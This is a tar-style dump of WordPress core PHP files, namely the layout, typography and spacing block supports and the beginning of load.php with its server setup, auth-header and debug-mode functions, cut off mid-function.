block-supports/layout.php000064400000030455147177035020011576 0ustar00attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'layout', $block_type->attributes ) ) { $block_type->attributes['layout'] = array( 'type' => 'object', ); } } } /** * Generates the CSS corresponding to the provided layout. * * @since 5.9.0 * @access private * * @param string $selector CSS selector. * @param array $layout Layout object. The one that is passed has already checked * the existence of default block layout. * @param boolean $has_block_gap_support Whether the theme has support for the block gap. * @param string $gap_value The block gap value to apply. * @param boolean $should_skip_gap_serialization Whether to skip applying the user-defined value set in the editor. * @param string $fallback_gap_value The custom fallback value for block gap. * @return string CSS style. */ function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em' ) { $layout_type = isset( $layout['type'] ) ? $layout['type'] : 'default'; $style = ''; if ( 'default' === $layout_type ) { $content_size = isset( $layout['contentSize'] ) ? $layout['contentSize'] : ''; $wide_size = isset( $layout['wideSize'] ) ? $layout['wideSize'] : ''; $all_max_width_value = $content_size ? $content_size : $wide_size; $wide_max_width_value = $wide_size ? $wide_size : $content_size; // Make sure there is a single CSS rule, and all tags are stripped for security. $all_max_width_value = safecss_filter_attr( explode( ';', $all_max_width_value )[0] ); $wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] ); if ( $content_size || $wide_size ) { $style = "$selector > :where(:not(.alignleft):not(.alignright)) {"; $style .= 'max-width: ' . esc_html( $all_max_width_value ) . ';'; $style .= 'margin-left: auto !important;'; $style .= 'margin-right: auto !important;'; $style .= '}'; $style .= "$selector > .alignwide { max-width: " . esc_html( $wide_max_width_value ) . ';}'; $style .= "$selector .alignfull { max-width: none; }"; } $style .= "$selector > .alignleft { float: left; margin-inline-start: 0; margin-inline-end: 2em; }"; $style .= "$selector > .alignright { float: right; margin-inline-start: 2em; margin-inline-end: 0; }"; $style .= "$selector > .aligncenter { margin-left: auto !important; margin-right: auto !important; }"; if ( $has_block_gap_support ) { if ( is_array( $gap_value ) ) { $gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null; } $gap_style = $gap_value && ! $should_skip_gap_serialization ? $gap_value : 'var( --wp--style--block-gap )'; $style .= "$selector > * { margin-block-start: 0; margin-block-end: 0; }"; $style .= "$selector > * + * { margin-block-start: $gap_style; margin-block-end: 0; }"; } } elseif ( 'flex' === $layout_type ) { $layout_orientation = isset( $layout['orientation'] ) ? $layout['orientation'] : 'horizontal'; $justify_content_options = array( 'left' => 'flex-start', 'right' => 'flex-end', 'center' => 'center', ); if ( 'horizontal' === $layout_orientation ) { $justify_content_options += array( 'space-between' => 'space-between' ); } $flex_wrap_options = array( 'wrap', 'nowrap' ); $flex_wrap = ! empty( $layout['flexWrap'] ) && in_array( $layout['flexWrap'], $flex_wrap_options, true ) ? $layout['flexWrap'] : 'wrap'; $style = "$selector {"; $style .= 'display: flex;'; if ( $has_block_gap_support ) { if ( is_array( $gap_value ) ) { $gap_row = isset( $gap_value['top'] ) ? $gap_value['top'] : $fallback_gap_value; $gap_column = isset( $gap_value['left'] ) ? $gap_value['left'] : $fallback_gap_value; $gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column; } $gap_style = $gap_value && ! $should_skip_gap_serialization ? $gap_value : "var( --wp--style--block-gap, $fallback_gap_value )"; $style .= "gap: $gap_style;"; } else { $style .= "gap: $fallback_gap_value;"; } $style .= "flex-wrap: $flex_wrap;"; if ( 'horizontal' === $layout_orientation ) { $style .= 'align-items: center;'; /** * Add this style only if is not empty for backwards compatibility, * since we intend to convert blocks that had flex layout implemented * by custom css. */ if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) { $style .= "justify-content: {$justify_content_options[ $layout['justifyContent'] ]};"; } } else { $style .= 'flex-direction: column;'; if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) { $style .= "align-items: {$justify_content_options[ $layout['justifyContent'] ]};"; } else { $style .= 'align-items: flex-start;'; } } $style .= '}'; $style .= "$selector > * { margin: 0; }"; } return $style; } /** * Renders the layout config to the block wrapper. * * @since 5.8.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_layout_support_flag( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $support_layout = block_has_support( $block_type, array( '__experimentalLayout' ), false ); if ( ! $support_layout ) { return $block_content; } $block_gap = wp_get_global_settings( array( 'spacing', 'blockGap' ) ); $default_layout = wp_get_global_settings( array( 'layout' ) ); $has_block_gap_support = isset( $block_gap ) ? null !== $block_gap : false; $default_block_layout = _wp_array_get( $block_type->supports, array( '__experimentalLayout', 'default' ), array() ); $used_layout = isset( $block['attrs']['layout'] ) ? $block['attrs']['layout'] : $default_block_layout; if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] ) { if ( ! $default_layout ) { return $block_content; } $used_layout = $default_layout; } $class_names = array(); $container_class = wp_unique_id( 'wp-container-' ); $class_names[] = $container_class; // The following section was added to reintroduce a small set of layout classnames that were // removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is // not intended to provide an extended set of classes to match all block layout attributes // here. if ( ! empty( $block['attrs']['layout']['orientation'] ) ) { $class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] ); } if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) { $class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] ); } if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) { $class_names[] = 'is-nowrap'; } $gap_value = _wp_array_get( $block, array( 'attrs', 'style', 'spacing', 'blockGap' ) ); // Skip if gap value contains unsupported characters. // Regex for CSS value borrowed from `safecss_filter_attr`, and used here // because we only want to match against the value, not the CSS attribute. if ( is_array( $gap_value ) ) { foreach ( $gap_value as $key => $value ) { $gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; } } else { $gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value; } $fallback_gap_value = _wp_array_get( $block_type->supports, array( 'spacing', 'blockGap', '__experimentalDefault' ), '0.5em' ); // If a block's block.json skips serialization for spacing or spacing.blockGap, // don't apply the user-defined value to the styles. $should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' ); $style = wp_get_layout_style( ".$container_class", $used_layout, $has_block_gap_support, $gap_value, $should_skip_gap_serialization, $fallback_gap_value ); // This assumes the hook only applies to blocks with a single wrapper. // I think this is a reasonable limitation for that particular hook. $content = preg_replace( '/' . preg_quote( 'class="', '/' ) . '/', 'class="' . esc_attr( implode( ' ', $class_names ) ) . ' ', $block_content, 1 ); wp_enqueue_block_support_styles( $style ); return $content; } // Register the block support. WP_Block_Supports::get_instance()->register( 'layout', array( 'register_attribute' => 'wp_register_layout_support', ) ); add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 ); /** * For themes without theme.json file, make sure * to restore the inner div for the group block * to avoid breaking styles relying on that div. * * @since 5.8.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_restore_group_inner_container( $block_content, $block ) { $tag_name = isset( $block['attrs']['tagName'] ) ? $block['attrs']['tagName'] : 'div'; $group_with_inner_container_regex = sprintf( '/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U', preg_quote( $tag_name, '/' ) ); if ( WP_Theme_JSON_Resolver::theme_has_support() || 1 === preg_match( $group_with_inner_container_regex, $block_content ) || ( isset( $block['attrs']['layout']['type'] ) && 'default' !== $block['attrs']['layout']['type'] ) ) { return $block_content; } $replace_regex = sprintf( '/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms', preg_quote( $tag_name, '/' ) ); $updated_content = preg_replace_callback( $replace_regex, static function( $matches ) { return $matches[1] . '
    ' . $matches[2] . '
    ' . $matches[3]; }, $block_content ); return $updated_content; } add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 ); /** * For themes without theme.json file, make sure * to restore the outer div for the aligned image block * to avoid breaking styles relying on that div. * * @since 6.0.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_restore_image_outer_container( $block_content, $block ) { $image_with_align = " /# 1) everything up to the class attribute contents ( ^\s* ]* \bclass= [\"'] ) # 2) the class attribute contents ( [^\"']* \bwp-block-image\b [^\"']* \b(?:alignleft|alignright|aligncenter)\b [^\"']* ) # 3) everything after the class attribute contents ( [\"'] [^>]* > .* <\/figure> )/iUx"; if ( WP_Theme_JSON_Resolver::theme_has_support() || 0 === preg_match( $image_with_align, $block_content, $matches ) ) { return $block_content; } $wrapper_classnames = array( 'wp-block-image' ); // If the block has a classNames attribute these classnames need to be removed from the content and added back // to the new wrapper div also. if ( ! empty( $block['attrs']['className'] ) ) { $wrapper_classnames = array_merge( $wrapper_classnames, explode( ' ', $block['attrs']['className'] ) ); } $content_classnames = explode( ' ', $matches[2] ); $filtered_content_classnames = array_diff( $content_classnames, $wrapper_classnames ); return '
    ' . $matches[1] . implode( ' ', $filtered_content_classnames ) . $matches[3] . '
    '; } add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 ); block-supports/typography.php000064400000022145147177035020012464 0ustar00supports, array( 'typography' ), false ); if ( ! $typography_supports ) { return; } $has_font_family_support = _wp_array_get( $typography_supports, array( '__experimentalFontFamily' ), false ); $has_font_size_support = _wp_array_get( $typography_supports, array( 'fontSize' ), false ); $has_font_style_support = _wp_array_get( $typography_supports, array( '__experimentalFontStyle' ), false ); $has_font_weight_support = _wp_array_get( $typography_supports, array( '__experimentalFontWeight' ), false ); $has_letter_spacing_support = _wp_array_get( $typography_supports, array( '__experimentalLetterSpacing' ), false ); $has_line_height_support = _wp_array_get( $typography_supports, array( 'lineHeight' ), false ); $has_text_decoration_support = _wp_array_get( $typography_supports, array( '__experimentalTextDecoration' ), false ); $has_text_transform_support = _wp_array_get( $typography_supports, array( '__experimentalTextTransform' ), false ); $has_typography_support = $has_font_family_support || $has_font_size_support || $has_font_style_support || $has_font_weight_support || $has_letter_spacing_support || $has_line_height_support || $has_text_decoration_support || $has_text_transform_support; if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_typography_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_font_size_support && ! array_key_exists( 'fontSize', $block_type->attributes ) ) { $block_type->attributes['fontSize'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for typography features such as font sizes * to the incoming attributes array. This will be applied to the block markup in * the front-end. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Typography CSS classes and inline styles. */ function wp_apply_typography_support( $block_type, $block_attributes ) { if ( ! property_exists( $block_type, 'supports' ) ) { return array(); } $typography_supports = _wp_array_get( $block_type->supports, array( 'typography' ), false ); if ( ! $typography_supports ) { return array(); } if ( wp_should_skip_block_supports_serialization( $block_type, 'typography' ) ) { return array(); } $attributes = array(); $classes = array(); $styles = array(); $has_font_family_support = _wp_array_get( $typography_supports, array( '__experimentalFontFamily' ), false ); $has_font_size_support = _wp_array_get( $typography_supports, array( 'fontSize' ), false ); $has_font_style_support = _wp_array_get( $typography_supports, array( '__experimentalFontStyle' ), false ); $has_font_weight_support = _wp_array_get( $typography_supports, array( '__experimentalFontWeight' ), false ); $has_letter_spacing_support = _wp_array_get( $typography_supports, array( '__experimentalLetterSpacing' ), false ); $has_line_height_support = _wp_array_get( $typography_supports, array( 'lineHeight' ), false ); $has_text_decoration_support = _wp_array_get( $typography_supports, array( '__experimentalTextDecoration' ), false ); $has_text_transform_support = _wp_array_get( $typography_supports, array( '__experimentalTextTransform' ), false ); if ( $has_font_size_support && ! wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontSize' ) ) { $has_named_font_size = array_key_exists( 'fontSize', $block_attributes ); $has_custom_font_size = isset( $block_attributes['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { $classes[] = sprintf( 'has-%s-font-size', _wp_to_kebab_case( $block_attributes['fontSize'] ) ); } elseif ( $has_custom_font_size ) { $styles[] = sprintf( 'font-size: %s;', $block_attributes['style']['typography']['fontSize'] ); } } if ( $has_font_family_support && ! wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontFamily' ) ) { $has_named_font_family = array_key_exists( 'fontFamily', $block_attributes ); $has_custom_font_family = isset( $block_attributes['style']['typography']['fontFamily'] ); if ( $has_named_font_family ) { $classes[] = sprintf( 'has-%s-font-family', _wp_to_kebab_case( $block_attributes['fontFamily'] ) ); } elseif ( $has_custom_font_family ) { // Before using classes, the value was serialized as a CSS Custom Property. // We don't need this code path when it lands in core. $font_family_custom = $block_attributes['style']['typography']['fontFamily']; if ( strpos( $font_family_custom, 'var:preset|font-family' ) !== false ) { $index_to_splice = strrpos( $font_family_custom, '|' ) + 1; $font_family_slug = _wp_to_kebab_case( substr( $font_family_custom, $index_to_splice ) ); $font_family_custom = sprintf( 'var(--wp--preset--font-family--%s)', $font_family_slug ); } $styles[] = sprintf( 'font-family: %s;', $font_family_custom ); } } if ( $has_font_style_support && ! wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontStyle' ) ) { $font_style = wp_typography_get_css_variable_inline_style( $block_attributes, 'fontStyle', 'font-style' ); if ( $font_style ) { $styles[] = $font_style; } } if ( $has_font_weight_support && ! wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontWeight' ) ) { $font_weight = wp_typography_get_css_variable_inline_style( $block_attributes, 'fontWeight', 'font-weight' ); if ( $font_weight ) { $styles[] = $font_weight; } } if ( $has_line_height_support && ! wp_should_skip_block_supports_serialization( $block_type, 'typography', 'lineHeight' ) ) { $has_line_height = isset( $block_attributes['style']['typography']['lineHeight'] ); if ( $has_line_height ) { $styles[] = sprintf( 'line-height: %s;', $block_attributes['style']['typography']['lineHeight'] ); } } if ( $has_text_decoration_support && ! wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textDecoration' ) ) { $text_decoration_style = wp_typography_get_css_variable_inline_style( $block_attributes, 'textDecoration', 'text-decoration' ); if ( $text_decoration_style ) { $styles[] = $text_decoration_style; } } if ( $has_text_transform_support && ! wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textTransform' ) ) { $text_transform_style = wp_typography_get_css_variable_inline_style( $block_attributes, 'textTransform', 'text-transform' ); if ( $text_transform_style ) { $styles[] = $text_transform_style; } } if ( $has_letter_spacing_support && ! wp_should_skip_block_supports_serialization( $block_type, 'typography', 'letterSpacing' ) ) { $letter_spacing_style = wp_typography_get_css_variable_inline_style( $block_attributes, 'letterSpacing', 'letter-spacing' ); if ( $letter_spacing_style ) { $styles[] = $letter_spacing_style; } } if ( ! empty( $classes ) ) { $attributes['class'] = implode( ' ', $classes ); } if ( ! empty( $styles ) ) { $attributes['style'] = implode( ' ', $styles ); } return $attributes; } /** * Generates an inline style for a typography feature e.g. text decoration, * text transform, and font style. * * @since 5.8.0 * @access private * * @param array $attributes Block's attributes. * @param string $feature Key for the feature within the typography styles. * @param string $css_property Slug for the CSS property the inline style sets. * @return string CSS inline style. */ function wp_typography_get_css_variable_inline_style( $attributes, $feature, $css_property ) { // Retrieve current attribute value or skip if not found. $style_value = _wp_array_get( $attributes, array( 'style', 'typography', $feature ), false ); if ( ! $style_value ) { return; } // If we don't have a preset CSS variable, we'll assume it's a regular CSS value. if ( strpos( $style_value, "var:preset|{$css_property}|" ) === false ) { return sprintf( '%s:%s;', $css_property, $style_value ); } // We have a preset CSS variable as the style. // Get the style value from the string and return CSS style. $index_to_splice = strrpos( $style_value, '|' ) + 1; $slug = substr( $style_value, $index_to_splice ); // Return the actual CSS inline style e.g. `text-decoration:var(--wp--preset--text-decoration--underline);`. return sprintf( '%s:var(--wp--preset--%s--%s);', $css_property, $css_property, $slug ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'typography', array( 'register_attribute' => 'wp_register_typography_support', 'apply' => 'wp_apply_typography_support', ) ); block-supports/spacing.php000064400000005554147177035020011707 0ustar00attributes ) { $block_type->attributes = array(); } if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Add CSS classes for block spacing to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block spacing CSS classes and inline styles. */ function wp_apply_spacing_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) { return array(); } $has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false ); $has_margin_support = block_has_support( $block_type, array( 'spacing', 'margin' ), false ); $skip_padding = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' ); $skip_margin = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' ); $styles = array(); if ( $has_padding_support && ! $skip_padding ) { $padding_value = _wp_array_get( $block_attributes, array( 'style', 'spacing', 'padding' ), null ); if ( is_array( $padding_value ) ) { foreach ( $padding_value as $key => $value ) { $styles[] = sprintf( 'padding-%s: %s;', $key, $value ); } } elseif ( null !== $padding_value ) { $styles[] = sprintf( 'padding: %s;', $padding_value ); } } if ( $has_margin_support && ! $skip_margin ) { $margin_value = _wp_array_get( $block_attributes, array( 'style', 'spacing', 'margin' ), null ); if ( is_array( $margin_value ) ) { foreach ( $margin_value as $key => $value ) { $styles[] = sprintf( 'margin-%s: %s;', $key, $value ); } } elseif ( null !== $margin_value ) { $styles[] = sprintf( 'margin: %s;', $margin_value ); } } return empty( $styles ) ? array() : array( 'style' => implode( ' ', $styles ) ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'spacing', array( 'register_attribute' => 'wp_register_spacing_support', 'apply' => 'wp_apply_spacing_support', ) ); load.php000064400000142171147177035020006210 0ustar00 '', 'REQUEST_URI' => '', ); $_SERVER = array_merge( $default_server_values, $_SERVER ); // Fix for IIS when running with PHP ISAPI. if ( empty( $_SERVER['REQUEST_URI'] ) || ( 'cgi-fcgi' !== PHP_SAPI && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) { if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) { // IIS Mod-Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL']; } elseif ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) { // IIS Isapi_Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL']; } else { // Use ORIG_PATH_INFO if there is no PATH_INFO. if ( ! isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) ) { $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; } // Some IIS + PHP configurations put the script-name in the path-info (no need to append it twice). if ( isset( $_SERVER['PATH_INFO'] ) ) { if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] ) { $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO']; } else { $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO']; } } // Append the query string if it exists and isn't null. if ( ! empty( $_SERVER['QUERY_STRING'] ) ) { $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; } } } // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests. if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && ( strpos( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) == strlen( $_SERVER['SCRIPT_FILENAME'] ) - 7 ) ) { $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED']; } // Fix for Dreamhost and other PHP as CGI hosts. if ( isset( $_SERVER['SCRIPT_NAME'] ) && ( strpos( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) !== false ) ) { unset( $_SERVER['PATH_INFO'] ); } // Fix empty PHP_SELF. $PHP_SELF = $_SERVER['PHP_SELF']; if ( empty( $PHP_SELF ) ) { $_SERVER['PHP_SELF'] = preg_replace( '/(\?.*)?$/', '', $_SERVER['REQUEST_URI'] ); $PHP_SELF = $_SERVER['PHP_SELF']; } wp_populate_basic_auth_from_authorization_header(); } /** * Populates the Basic Auth server details from the Authorization header. * * Some servers running in CGI or FastCGI mode don't pass the Authorization * header on to WordPress. If it's been rewritten to the `HTTP_AUTHORIZATION` header, * fill in the proper $_SERVER variables instead. * * @since 5.6.0 */ function wp_populate_basic_auth_from_authorization_header() { // If we don't have anything to pull from, return early. if ( ! isset( $_SERVER['HTTP_AUTHORIZATION'] ) && ! isset( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) ) { return; } // If either PHP_AUTH key is already set, do nothing. if ( isset( $_SERVER['PHP_AUTH_USER'] ) || isset( $_SERVER['PHP_AUTH_PW'] ) ) { return; } // From our prior conditional, one of these must be set. $header = isset( $_SERVER['HTTP_AUTHORIZATION'] ) ? $_SERVER['HTTP_AUTHORIZATION'] : $_SERVER['REDIRECT_HTTP_AUTHORIZATION']; // Test to make sure the pattern matches expected. if ( ! preg_match( '%^Basic [a-z\d/+]*={0,2}$%i', $header ) ) { return; } // Removing `Basic ` the token would start six characters in. $token = substr( $header, 6 ); $userpass = base64_decode( $token ); list( $user, $pass ) = explode( ':', $userpass ); // Now shove them in the proper keys where we're expecting later on. $_SERVER['PHP_AUTH_USER'] = $user; $_SERVER['PHP_AUTH_PW'] = $pass; } /** * Check for the required PHP version, and the MySQL extension or * a database drop-in. * * Dies if requirements are not met. * * @since 3.0.0 * @access private * * @global string $required_php_version The required PHP version string. * @global string $wp_version The WordPress version string. */ function wp_check_php_mysql_versions() { global $required_php_version, $wp_version; $php_version = phpversion(); if ( version_compare( $required_php_version, $php_version, '>' ) ) { $protocol = wp_get_server_protocol(); header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 ); header( 'Content-Type: text/html; charset=utf-8' ); printf( 'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.', $php_version, $wp_version, $required_php_version ); exit( 1 ); } if ( ! extension_loaded( 'mysql' ) && ! extension_loaded( 'mysqli' ) && ! extension_loaded( 'mysqlnd' ) // This runs before default constants are defined, so we can't assume WP_CONTENT_DIR is set yet. && ( defined( 'WP_CONTENT_DIR' ) && ! file_exists( WP_CONTENT_DIR . '/db.php' ) || ! file_exists( ABSPATH . 'wp-content/db.php' ) ) ) { require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); $args = array( 'exit' => false, 'code' => 'mysql_not_found', ); wp_die( __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ), __( 'Requirements Not Met' ), $args ); exit( 1 ); } } /** * Retrieves the current environment type. * * The type can be set via the `WP_ENVIRONMENT_TYPE` global system variable, * or a constant of the same name. * * Possible values are 'local', 'development', 'staging', and 'production'. * If not set, the type defaults to 'production'. * * @since 5.5.0 * @since 5.5.1 Added the 'local' type. * @since 5.5.1 Removed the ability to alter the list of types. * * @return string The current environment type. */ function wp_get_environment_type() { static $current_env = ''; if ( ! defined( 'WP_RUN_CORE_TESTS' ) && $current_env ) { return $current_env; } $wp_environments = array( 'local', 'development', 'staging', 'production', ); // Add a note about the deprecated WP_ENVIRONMENT_TYPES constant. if ( defined( 'WP_ENVIRONMENT_TYPES' ) && function_exists( '_deprecated_argument' ) ) { if ( function_exists( '__' ) ) { /* translators: %s: WP_ENVIRONMENT_TYPES */ $message = sprintf( __( 'The %s constant is no longer supported.' ), 'WP_ENVIRONMENT_TYPES' ); } else { $message = sprintf( 'The %s constant is no longer supported.', 'WP_ENVIRONMENT_TYPES' ); } _deprecated_argument( 'define()', '5.5.1', $message ); } // Check if the environment variable has been set, if `getenv` is available on the system. if ( function_exists( 'getenv' ) ) { $has_env = getenv( 'WP_ENVIRONMENT_TYPE' ); if ( false !== $has_env ) { $current_env = $has_env; } } // Fetch the environment from a constant, this overrides the global system variable. if ( defined( 'WP_ENVIRONMENT_TYPE' ) ) { $current_env = WP_ENVIRONMENT_TYPE; } // Make sure the environment is an allowed one, and not accidentally set to an invalid value. if ( ! in_array( $current_env, $wp_environments, true ) ) { $current_env = 'production'; } return $current_env; } /** * Don't load all of WordPress when handling a favicon.ico request. * * Instead, send the headers for a zero-length favicon and bail. * * @since 3.0.0 * @deprecated 5.4.0 Deprecated in favor of do_favicon(). */ function wp_favicon_request() { if ( '/favicon.ico' === $_SERVER['REQUEST_URI'] ) { header( 'Content-Type: image/vnd.microsoft.icon' ); exit; } } /** * Die with a maintenance message when conditions are met. * * The default message can be replaced by using a drop-in (maintenance.php in * the wp-content directory). * * @since 3.0.0 * @access private */ function wp_maintenance() { // Return if maintenance mode is disabled. if ( ! wp_is_maintenance_mode() ) { return; } if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) { require_once WP_CONTENT_DIR . '/maintenance.php'; die(); } require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); header( 'Retry-After: 600' ); wp_die( __( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ), __( 'Maintenance' ), 503 ); } /** * Check if maintenance mode is enabled. * * Checks for a file in the WordPress root directory named ".maintenance". * This file will contain the variable $upgrading, set to the time the file * was created. If the file was created less than 10 minutes ago, WordPress * is in maintenance mode. * * @since 5.5.0 * * @global int $upgrading The Unix timestamp marking when upgrading WordPress began. * * @return bool True if maintenance mode is enabled, false otherwise. */ function wp_is_maintenance_mode() { global $upgrading; if ( ! file_exists( ABSPATH . '.maintenance' ) || wp_installing() ) { return false; } require ABSPATH . '.maintenance'; // If the $upgrading timestamp is older than 10 minutes, consider maintenance over. if ( ( time() - $upgrading ) >= 10 * MINUTE_IN_SECONDS ) { return false; } /** * Filters whether to enable maintenance mode. * * This filter runs before it can be used by plugins. It is designed for * non-web runtimes. If this filter returns true, maintenance mode will be * active and the request will end. If false, the request will be allowed to * continue processing even if maintenance mode should be active. * * @since 4.6.0 * * @param bool $enable_checks Whether to enable maintenance mode. Default true. * @param int $upgrading The timestamp set in the .maintenance file. */ if ( ! apply_filters( 'enable_maintenance_mode', true, $upgrading ) ) { return false; } return true; } /** * Get the time elapsed so far during this PHP script. * * Uses REQUEST_TIME_FLOAT that appeared in PHP 5.4.0. * * @since 5.8.0 * * @return float Seconds since the PHP script started. */ function timer_float() { return microtime( true ) - $_SERVER['REQUEST_TIME_FLOAT']; } /** * Start the WordPress micro-timer. * * @since 0.71 * @access private * * @global float $timestart Unix timestamp set at the beginning of the page load. * @see timer_stop() * * @return bool Always returns true. */ function timer_start() { global $timestart; $timestart = microtime( true ); return true; } /** * Retrieve or display the time from the page start to when function is called. * * @since 0.71 * * @global float $timestart Seconds from when timer_start() is called. * @global float $timeend Seconds from when function is called. * * @param int|bool $display Whether to echo or return the results. Accepts 0|false for return, * 1|true for echo. Default 0|false. * @param int $precision The number of digits from the right of the decimal to display. * Default 3. * @return string The "second.microsecond" finished time calculation. The number is formatted * for human consumption, both localized and rounded. */ function timer_stop( $display = 0, $precision = 3 ) { global $timestart, $timeend; $timeend = microtime( true ); $timetotal = $timeend - $timestart; $r = ( function_exists( 'number_format_i18n' ) ) ? number_format_i18n( $timetotal, $precision ) : number_format( $timetotal, $precision ); if ( $display ) { echo $r; } return $r; } /** * Set PHP error reporting based on WordPress debug settings. * * Uses three constants: `WP_DEBUG`, `WP_DEBUG_DISPLAY`, and `WP_DEBUG_LOG`. * All three can be defined in wp-config.php. By default, `WP_DEBUG` and * `WP_DEBUG_LOG` are set to false, and `WP_DEBUG_DISPLAY` is set to true. * * When `WP_DEBUG` is true, all PHP notices are reported. WordPress will also * display internal notices: when a deprecated WordPress function, function * argument, or file is used. Deprecated code may be removed from a later * version. * * It is strongly recommended that plugin and theme developers use `WP_DEBUG` * in their development environments. * * `WP_DEBUG_DISPLAY` and `WP_DEBUG_LOG` perform no function unless `WP_DEBUG` * is true. * * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed. * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY` * as false will force errors to be hidden. * * When `WP_DEBUG_LOG` is true, errors will be logged to `wp-content/debug.log`. * When `WP_DEBUG_LOG` is a valid path, errors will be logged to the specified file. * * Errors are never displayed for XML-RPC, REST, `ms-files.php`, and Ajax requests. * * @since 3.0.0 * @since 5.1.0 `WP_DEBUG_LOG` can be a file path. * @access private */ function wp_debug_mode() { /** * Filters whether to allow the debug mode check to occur. * * This filter runs before it can be used by plugins. It is designed for * non-web runtimes. Returning false causes the `WP_DEBUG` and related * constants to not be checked and the default PHP values for errors * will be used unless you take care to update them yourself. * * To use this filter you must define a `$wp_filter` global before * WordPress loads, usually in `wp-config.php`. * * Example: * * $GLOBALS['wp_filter'] = array( * 'enable_wp_debug_mode_checks' => array( * 10 => array( * array( * 'accepted_args' => 0, * 'function' => function() { * return false; * }, * ), * ), * ), * ); * * @since 4.6.0 * * @param bool $enable_debug_mode Whether to enable debug mode checks to occur. Default true. */ if ( ! apply_filters( 'enable_wp_debug_mode_checks', true ) ) { return; } if ( WP_DEBUG ) { error_reporting( E_ALL ); if ( WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 1 ); } elseif ( null !== 